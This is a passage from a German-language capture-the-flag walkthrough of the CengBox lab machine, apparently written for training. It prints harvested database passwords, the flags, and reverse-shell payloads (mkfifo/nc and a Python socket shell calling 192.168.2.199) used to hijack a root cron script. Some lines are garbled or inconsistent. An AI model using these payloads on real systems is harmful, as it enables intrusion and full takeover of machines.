drwxr-xr-x 6 www-data www-data 4096 Apr 26 2020 vendor

Aus Sicht des Pentesters: Wir navigieren ins `/var/www/html` verzeichnis.

www-data@cengbox:/var/www/html$ cd masteradmin/
www-data@cengbox:/var/www/html/masteradmin$ ls -la
total 44
drwxr-xr-x 7 www-data www-data 4096 Apr 29 2020 .
drwxr-xr-x 9 www-data www-data 4096 Apr 29 2020 ..
drwxr-xr-x 2 www-data www-data 4096 Apr 26 2020 css
-rw-r--r-- 1 www-data www-data 311 Apr 27 2020 db.php
drwxr-xr-x 5 www-data www-data 4096 Apr 26 2020 fonts
drwxr-xr-x 3 www-data www-data 4096 Apr 26 2020 images
drwxr-xr-x 2 www-data www-data 4096 Apr 26 2020 js
-rw-r--r-- 1 www-data www-data 5829 Apr 28 2020 login.php
-rw-r--r-- 1 www-data www-data 2245 Apr 29 2020 upload.php
drwxr-xr-x 10 www-data www-data 4096 Apr 26 2020 vendor

Aus Sicht des Pentesters: Wir navigieren ins `/masteradmin/` verzeichnis.

www-data@cengbox:/var/www/html/masteradmin$ cat db.php
$serverName = "localhost";
$username = "root";
$password = "SuperS3cR3TPassw0rd1!";
$dbName = "cengbox";

Aus Sicht des Pentesters: Wir finden in der `db.php` die Credentials zur Datenbank. Interessant ist das Root Passwort.

www-data@cengbox:/var/www/html/masteradmin$ su root
Password:
su: Authentication failure

Aus Sicht des Pentesters: Der Versuch sich als Root anzumelden scheitert.

www-data@cengbox:/var/www/html/masteradmin$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 165245
Server version: 5.7.33-0ubuntu0.16.04.1 (Ubuntu)

Copyright (c) 2000, 2021, racle and/or its affiliates.

racle is a registered trademark of racle Corporation and/or its
affiliates. ther names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+-+
| Database |
+-+
| information_schema |
| cengbox |
| mysql |
| performance_schema |
| sys |
+-+
5 rows in set (0.01 sec)
mysql> use cengbox
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-+
| Tables_in_cengbox |
+-+
| admin |
+-+
1 row in set (0.00 sec)
mysql> select * from admin;
+-+-++
| id | username | password |
+-+-++
| 1 | masteradmin | C3ng0v3R00T1! |
+-+-++
1 row in set (0.00 sec)

Aus Sicht des Pentesters: Wir verbinden uns mit der Datenbank und finden das Passwort "C3ng0v3R00T1!" für den Benutzer `masteradmin`.

www-data@cengbox:/var/www/html/masteradmin$ su root
Password:
su: Authentication failure

Aus Sicht des Pentesters: Der Versuch, uns als Root anzumelden, schlägt immer noch fehl.

www-data@cengbox:/var/www/html/masteradmin$ ls /home/
cengover

Aus Sicht des Pentesters: Wir listen das `/home/` Verzeichnis auf.

www-data@cengbox:/var/www/html/masteradmin$ su cengover
Password:
cengover@cengbox:/var/www/html/masteradmin$ sudo -l
[sudo] password for cengover:
Sorry, user cengover may not run sudo on cengbox.

Aus Sicht des Pentesters: Der Benutzer `cengover` darf keine `sudo`-Befehle ausführen.

cengover@cengbox:/var/www/html/masteradmin$ cd ~
cengover@cengbox$ ls -la
total 116
drwx 4 cengover cengover 4096 Apr 29 2020 .
drwxr-xr-x 4 root root 4096 Apr 25 2020 ..
-rw- 1 cengover cengover 0 Apr 29 2020 .bash_history
-rw-r--r-- 1 cengover cengover 220 Apr 25 2020 .bash_logout
-rw-r--r-- 1 cengover cengover 3771 Apr 25 2020 .bashrc
drwx 2 cengover cengover 4096 Apr 25 2020 .cache
lrwxrwxrwx 1 cengover cengover 34 Apr 25 2020 .ecryptfs -> /home/.ecryptfs/cengover/.ecryptfs
-rw- 1 cengover cengover 478 Apr 27 2020 .mysql_history
drwxrwxr-x 2 cengover cengover 4096 Apr 26 2020 .nano
lrwxrwxrwx 1 cengover cengover 33 Apr 25 2020 .Private -> /home/.ecryptfs/cengover/.Private
-rw-r--r-- 1 cengover cengover 655 Apr 25 2020 .profile
-rw-r--r-- 1 cengover cengover 0 Apr 25 2020 .sudo_as_admin_successful
-rw-rw-r-- 1 cengover cengover 33 Apr 29 2020 user.txt
-rw- 1 cengover cengover 7148 Apr 29 2020 .viminfo

Aus Sicht des Pentesters: Wir navigieren ins Homeverzeichnis von `cengover` und finden die Datei `user.txt`.

cengover@cengbox$ cat user.txt
8f7f6471e2e869f029a75c5de601d5e0

Aus Sicht des Pentesters: Wir finden die erste Flag.

cengover@cengbox$ cat .bash_history
cengover@cengbox$ cat .mysql_history
_HiStrY_V2_
use\040cengbox;
select\040*\040from\040admin;
select\040username\040from\040admin\040username\040=\040"masteradmin"
;
select\040username\040from\040admin\040username\040=\040"masteradmin";
select\040username\040from\040admin\040username\040=\040'masteradmin';
select\040username\040from\040admin\040where\040username='masteradmin';
select\040*\040from\040admin\040where\040username='masteradmin';
exit

Aus Sicht des Pentesters: Wir durchsuchen den `bash_history` und den `mysql_history` um Passwörter zu finden.

┌──(root㉿CCat)-[~/Hackingtools]
└─# python -m http.server 80

Aus Sicht des Pentesters: Wir starten einen HTTP Server.

cengover@cengbox$ wget 192.168.2.199/pspy64
--2024-09-28 02:28:23-- http://192.168.2.199/pspy64
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 K
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64 100%[=>] 2.94M --.-KB/s in 0.02s

2024-09-28 02:28:23 (152 MB/s) - ‘pspy64’ saved [3078592/3078592]

Aus Sicht des Pentesters: Wir laden das Tool pspy64 auf das System um laufende Prozesse zu untersuchen.

cengover@cengbox$ chmod +x pspy64
cengover@cengbox$ ./pspy64
2024/09/28 02:29:01 CMD: UID=0 PID=25550 | /bin/sh -c /usr/bin/python3 /opt/md5check.py
2024/09/28 02:29:01 CMD: UID=0 PID=25549 | /bin/sh -c /usr/bin/python3 /opt/md5check.py
2024/09/28 02:30:01 CMD: UID=0 PID=25554 | /usr/bin/python3 /opt/md5check.py
2024/09/28 02:30:01 CMD: UID=0 PID=25553 | /bin/sh -c /usr/bin/python3 /opt/md5check.py

Aus Sicht des Pentesters: Mit pspy64 sehen wir, dass regelmäßig ein Python Skript als Root ausgeführt wird.

cengover@cengbox$ cat /opt/md5check.py
import hashlib
import datetime
time = datetime.datetime.now()
fileValue = "a6f529aaed396d7b7e10a07d35a8ea2b"
md5Hash = hashlib.md5()
openFile = open("/etc/passwd","rb")
content = openFile.read()
md5Hash.update(content)
digest = md5Hash.hexdigest()
if fileValue != digest :
f = open("/root/warning.txt","a")
f.write("File had changed.")
f.write(str(time))
f.write("\n")
f.close()
else:
f = open("/root/note.txt","a")
f.write("File still seems the same. Date : ")
f.write(str(time))
f.write("\n")
f.close()

Aus Sicht des Pentesters: Wir untersuchen das Script `/opt/md5check.py`, das als Root ausgeführt wird. Es prüft, ob die `/etc/passwd` Datei verändert wurde. Wenn ja, schreibt es in eine Warnungsdatei.

cengover@cengbox$ ls -la /opt/md5check.py
-rw-rw- 1 root users 545 Apr 29 2020 /opt/md5check.py

Aus Sicht des Pentesters: Die Datei `/opt/md5check.py` ist für die Gruppe "users" beschreibbar. Der Benutzer `cengover` ist Mitglied dieser Gruppe.

Proof of Concept: Privilege Escalation

Aus Sicht des Pentesters: Nachdem wir durch die Analyse des Systems den automatisierten Prozess `/opt/md5check.py` identifiziert haben, demonstrieren wir das Ändern des Script um eine Reverse Shell auszuführen.

Kurzbeschreibung

Der Benutzer `cengover` kann das Script `/opt/md5check.py` ändern, da er Mitglied der Gruppe `users` ist. Da das Script als Root ausgeführt wird, kann der Benutzer es ausnutzen um eine Reverse Shell zu starten.

Voraussetzungen

Schritt-für-Schritt-Anleitung

  1. Wechsle zu /tmp/ und gib die root rechte frei "cd /tmp/"
  2. Nutze ""echo "" > /opt/md5check.py"" um den text in der datei zu entfernen
  3. Bearbeite das Script `/opt/md5check.py` und füge einen Befehl hinzu, um eine Reverse Shell zu starten: ```python import os os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f') ``` Ersetze `` mit deiner eigenen IP-Adresse.
  4. Starte einen Netcat-Listener auf Port 4444 auf deinem System: ```bash nc -lvnp 4444 ```
  5. Warte bis das Script automatisch ausgeführt wird.

Erwartetes Ergebnis

Du solltest eine Root Shell erhalten.

Beweismittel

Die folgenden Code-Blöcke zeigen die Schritte zur Ausnutzung der Schwachstelle und den erfolgreichen Erhalt von Root-Rechten.

Risikobewertung

Die Ausnutzung dieser Schwachstelle ermöglicht es einem Angreifer, vollständige Kontrolle über das System zu erlangen. Dies kann zu Datenverlust, Systemausfällen und anderen schwerwiegenden Folgen führen.

Empfehlungen

Beschränke die Schreibrechte für `/opt/md5check.py` auf den Root-Benutzer.

Privilege Escalation

Aus Sicht des Pentesters: Wir nutzen nun die gefundene Schwachstelle aus, um Root-Rechte zu erlangen.

cengover@cengbox$ echo "" > /opt/md5check.py
cengover@cengbox$ nano /opt/md5check.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SCK_STREAM);s.connect(("192.168.2.199",5555));os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Aus Sicht des Pentesters: Wir ändern das Script, um eine Reverse Shell zu starten.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...

Aus Sicht des Pentesters: Wir starten einen Netcat-Listener auf Port 4444.

/dev/tcp/192.168.2.199/4444 0>&1')
┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.144] 48374
/bin/sh: 0: can't access tty; job control turned off
#

Aus Sicht des Pentesters: Wir erhalten eine Reverse Shell!

# id
uid=0(root) gid=0(root) groups=0(root)

Aus Sicht des Pentesters: Wir sind jetzt als `root` angemeldet. Fantastisch! Die Privilege Escalation war erfolgreich!

┌──(root㉿CCat)-[~]
└─# nano /opt/md5check.py

Aus Sicht des Pentesters: Wir ändern das Script um eine Reverse Shell zu starten

import os

os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f')
┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.144] 48378
/bin/sh: 0: can't access tty; job control turned off
#
# id
uid=0(root) gid=0(root) groups=0(root)
# ls
note.txt
root.txt

Aus Sicht des Pentesters: Wir sind jetzt als Root angemeldet!

# cat root.txt
/ ____| ____| | _ \
| | | |__ _ __ __ _| |_) | _____ __
| | | __| | '_ \ / _` | _ < / _ \ \/ /
| |____| |____| | | | (_| | |_) | (_) > <
\_____|______|_| |_|\__, |____/ \___/_/\_\\
__/ |
|___/

Congrats. Hope you enjoyed it and you can contact me on Twitter @arslanblcn_

a51e522b22a439b8e1b22d84f71cf0f2

Aus Sicht des Pentesters: Wir lesen den Inhalt der `root.txt` aus und finden die Root Flag.

Flags

cat user.txt 8f7f6471e2e869f029a75c5de601d5e0
cat root.txt a51e522b22a439b8e1b22d84f71cf0f2